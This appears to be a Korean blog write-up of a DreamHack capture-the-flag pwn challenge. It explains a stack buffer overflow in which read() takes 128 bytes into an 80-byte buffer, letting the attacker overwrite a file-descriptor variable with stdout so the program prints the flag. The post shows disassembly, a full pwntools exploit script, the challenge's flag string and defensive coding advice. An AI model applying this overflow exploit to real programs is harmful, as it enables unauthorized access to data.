chall.c 는 flag 를 읽어 지역변수 tmp_fd 가 가리키는 파일에 쓰기만 할 뿐, 그 결과를 우리에게 보여주는 코드가 없다. 그런데 바로 위에서 read(stdin, buf, 0x80) 이 buf[80] 보다 48바이트 더 받는다. 이 여유분으로 buf 바로 뒤에 붙어 있는 tmp_fd 를 표준출력(1)으로 덮으면, 뒤이은 write(tmp_fd, flag, 0x45) 가 그대로 우리 화면에 flag 를 찍어준다.
리눅스에서 open() 이 성공하면 작은 정수(파일 디스크립터, fd)를 돌려준다. 0은 표준입력, 1은 표준출력, 2는 표준에러가 항상 고정이고, 그 이후 값은 새로 연 파일마다 순서대로 배정된다. write(fd, buf, len) 은 그 정수가 지금 무엇을 가리키는지 만 보고 그리로 쓴다 — fd 가 진짜 파일이든 터미널이든 신경 안 쓴다.
이 프로그램의 tmp_fd 는 open("./tmp/flag", O_WRONLY) 의 결과를 담는 평범한 지역변수(int)다. 스택에 그냥 4바이트로 앉아 있을 뿐이라, 버퍼 오버플로우로 그 4바이트를 덮으면 write() 의 목적지를 통째로 바꿀 수 있다. 목적지를 표준출력(1)으로 바꾸면, 파일에 쓰려던 내용이 그대로 우리 터미널에 찍힌다.
🔬 정찰 — 소스와 스택 레이아웃
chall.c 의 main 이다.
#define FLAG_SIZE 0x45char *flag;int main(int argc, char *argv[]) { int stdin_fd = 0; int stdout_fd = 1; int flag_fd; int tmp_fd; char buf[80]; initialize(); // setvbuf + SIGALRM 30초 flag = (char *)malloc(FLAG_SIZE); flag_fd = open("./flag", O_RDONLY); read(flag_fd, flag, FLAG_SIZE); close(flag_fd); tmp_fd = open("./tmp/flag", O_WRONLY); write(stdout_fd, "Your Input: ", 12); read(stdin_fd, buf, 0x80); // buf 는 80B 인데 0x80(128B) 를 받는다 write(tmp_fd, flag, FLAG_SIZE); // flag 를 tmp_fd 에 쓴다 write(tmp_fd, buf, 80); // 우리 입력도 tmp_fd 에 쓴다 close(tmp_fd); return 0;}
buf 는 char buf[80] 인데 read(stdin_fd, buf, 0x80) 은 0x80 = 128바이트를 받는다. 48바이트만큼 선언된 크기를 넘어선다. 소스만 보면 tmp_fd 가 buf 바로 뒤에 붙어있는지는 알 수 없다 — 컴파일러가 지역변수를 소스 선언 순서 그대로 스택에 배치한다는 보장은 없기 때문에, 실제 거리는 바이너리를 열어서 확인해야 한다.
먼저 보호기법을 본다.
file challpwn checksec chall
file + checksec — No canary, Executable Stack, Has RWX segments
카나리가 없다. 오버플로우가 반환 주소까지 닿아도 아무도 눈치채지 못한다는 뜻이지만, 이 문제는 반환 주소까지 갈 필요조차 없다 — tmp_fd 가 buf 와 훨씬 가까이 있다. (참고로 스택이 실행 가능(RWX)한 것도 눈에 띄지만, 이번 익스에는 셸코드가 필요 없으니 그냥 흘려본다.)
main 을 디스어셈블해서 buf 와 tmp_fd 의 정확한 스택 오프셋을 잡는다.
objdump -d -M att chall | sed -n '/<main>:/,/^$/p' | sed -f annotate_main.sed
main 디스어셈블 — buf=rbp-0x60, read 크기=0x80, tmp_fd=rbp-0x10
세 줄이 핵심이다.
lea -0x60(%rbp),%rcx → buf 는 rbp-0x60 에서 시작한다.
mov $0x80,%edx → 그 자리에 read() 가 0x80(128)바이트를 받는다.
mov -0x10(%rbp),%eax → write() 의 fd 인자로 쓰이는 tmp_fd 는 rbp-0x10 이다.
buf(rbp-0x60)와 tmp_fd(rbp-0x10)의 거리는 0x60 - 0x10 = 0x50 = 80바이트. read() 로 128바이트를 받을 수 있으니, 80바이트로 buf 를 정확히 채운 다음 이어지는 4바이트로 tmp_fd 를 덮을 수 있다.
▶🐛 삽질 — 정말 이 순서로 덮이는 게 맞나 로컬에서 먼저 확인
오프셋 계산은 산수 한 줄이지만, 실제로 그 4바이트가 int tmp_fd 전체를 깔끔하게 덮는지는 확인이 필요했다. tmp_fd 는 int(4바이트)인데 페이로드로 p32(1) 을 보내면 정확히 4바이트만 들어가고, 그 뒤에 아무것도 안 붙이면 나머지 스택(저장된 rbp, 반환 주소)은 건드리지 않은 채로 read() 가 끝난다. write() 두 번(flag 다음 buf)이 이어지므로 굳이 반환 주소까지 덮어 흐름을 바꿀 필요도 없다 — tmp_fd 만 살짝 스쳐서 지나가면 프로그램은 평소처럼 close(tmp_fd) 로 정상 종료한다.
또 하나 걸렸던 지점은 open("./tmp/flag", O_WRONLY) 자체가 실패할 가능성이다. ./tmp/ 디렉터리가 없으면 open() 은 -1 을 반환하고 tmp_fd = -1 이 된다. 이후 write(-1, ...) 은 그냥 실패로 끝나 아무 일도 안 일어난다 — 하지만 이건 우리 익스와 아예 무관하다. 오버플로우로 tmp_fd 를 우리가 직접 1로 덮어써 버리기 때문에, open() 이 성공했든 실패했든 최종적으로 write() 가 보는 값은 우리가 넣은 1이다. 로컬 바이너리로 payload = b'A'*80 + p32(1) 을 먼저 돌려 더미 flag(DH{sample})가 화면에 그대로 튀어나오는 걸 보고서야 이 계산이 맞다는 확신이 들었다.
💣 핵심 — tmp_fd 를 표준출력으로 덮어 write() 의 목적지를 훔친다
페이로드는 단순하다.
[ 'A' * 80 ][ p32(1) ] buf 전체를 채움 tmp_fd (rbp-0x10) 자리 → 1(stdout)
원래 흐름 덮은 뒤 tmp_fd = open("./tmp/flag") tmp_fd = 1 (우리가 덮음) write(tmp_fd, flag, 0x45) → write(1, flag, 0x45) # 우리 화면에 flag 출력 write(tmp_fd, buf, 80) → write(1, buf, 80) # 이어서 입력값도 그대로 에코 close(tmp_fd) close(1)
128바이트 중 앞 80바이트는 그냥 buf 를 채우는 패딩이고, 나머지 4바이트(p32(1))가 진짜 페이로드다. read() 가 끝나는 순간 tmp_fd 는 더 이상 open() 이 돌려준 값이 아니라 1이고, 이후 두 번의 write(tmp_fd, ...) 은 파일이 아니라 우리 터미널로 향한다.
로컬 실행 — 더미 flag(DH샘플)가 write(1, flag, 0x45) 로 그대로 출력
DH{sample} 뒤에 우리가 보낸 A 80개가 그대로 이어져 나온다 — write(1, flag, 0x45) 다음 write(1, buf, 80) 이 순서대로 실행됐다는 증거다. 로컬 더미 flag 로 로직이 맞다는 걸 확인했으니, 이제 같은 페이로드를 라이브 서버로 보낸다.
🚀 Full Exploit
from pwn import *import syscontext.log_level = 'info'payload = b'A' * 80 # buf[80] 채우기payload += p32(1) # tmp_fd = 1 (stdout)if len(sys.argv) >= 3 and sys.argv[1] == 'remote': host, port = sys.argv[2], int(sys.argv[3]) p = remote(host, port)else: p = process('./chall')p.recvuntil(b'Your Input: ')p.send(payload)data = p.recvall(timeout=5)print("[+] raw output:", data)import rem = re.search(rb'DH\{[^}]*\}', data)if m: print("[+] FLAG:", m.group().decode())
라이브 서버 실행 — 실제 flag를 write(1, ...)로 획득
raw output 에 진짜 flag 가 찍히고, 뒤에는 로컬과 마찬가지로 우리가 보낸 A 80개가 그대로 에코된다 — 로컬에서 세운 가설이 라이브 서버에서도 한 치 어긋남 없이 그대로 맞아떨어졌다.
flag 를 제출한다.
python3 dreamhack.py wg 835 --flag 'DH{4ae8dab78b961371336e61a58d6ec5bf9af48e06ad3d96b3e5461e264e910eaa}'
dreamhack.py CLI로 flag 제출 — RESULT: 정답! 해결 처리됨
문제 페이지에서도 이미 해결한 문제로 표시된다.
DreamHack 문제 페이지 — 이미 해결한 문제입니다
📝 결론
출력 코드가 없다고 flag 를 못 얻는 게 아니다.
이 문제가 재미있는 건, 프로그램 어디에도 printf("%s", flag) 같은 직접적인 출력 경로가 없다는 점이다. 대신 "flag 를 어딘가에 쓴다"는 동작 자체는 존재했고, 그 목적지를 결정하는 변수가 우리가 덮을 수 있는 스택 위에 있었다. 오버플로우로 반환 주소를 노리는 게 익숙한 패턴이지만, 이번엔 그보다 훨씬 가까운 곳에 있는 지역변수 하나만 건드려도 충분했다.
파일 디스크립터는 정수일 뿐, 그 자체로는 아무 권한도 아니다.open() 이 반환한 값을 그대로 믿고 지역변수에 담아 쓰는 코드는, 그 변수가 스택 오버플로우에 노출되는 순간 공격자가 "어디에 쓸지"를 결정하는 스위치가 된다.
방어 관점에서 정리하면:
read() 의 길이 인자는 항상 버퍼의 실제 크기와 정확히 맞춰라.sizeof(buf) 를 직접 쓰거나 상수를 이중 관리하지 않는 게 기본이다. 이 문제는 buf[80] 옆에 0x80 이라는, 딱 봐도 헷갈리기 쉬운 상수를 박아둔 게 원인의 전부였다.
스택 카나리를 켜라. 카나리가 있었어도 이번 취약점(반환 주소 이전의 지역변수 오염)은 못 막았겠지만, 최소한 오버플로우가 더 깊이(반환 주소까지) 진행되는 걸 막는 마지막 방어선이 된다.
민감한 파일 디스크립터는 지역변수보다 안전한 방식으로 다뤄라. 스택 오버플로우가 있는 함수 안에서 fd 를 담은 지역변수를 오버플로우 지점 이후에도 계속 사용한다면, 그 변수는 사실상 공격 표면이다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…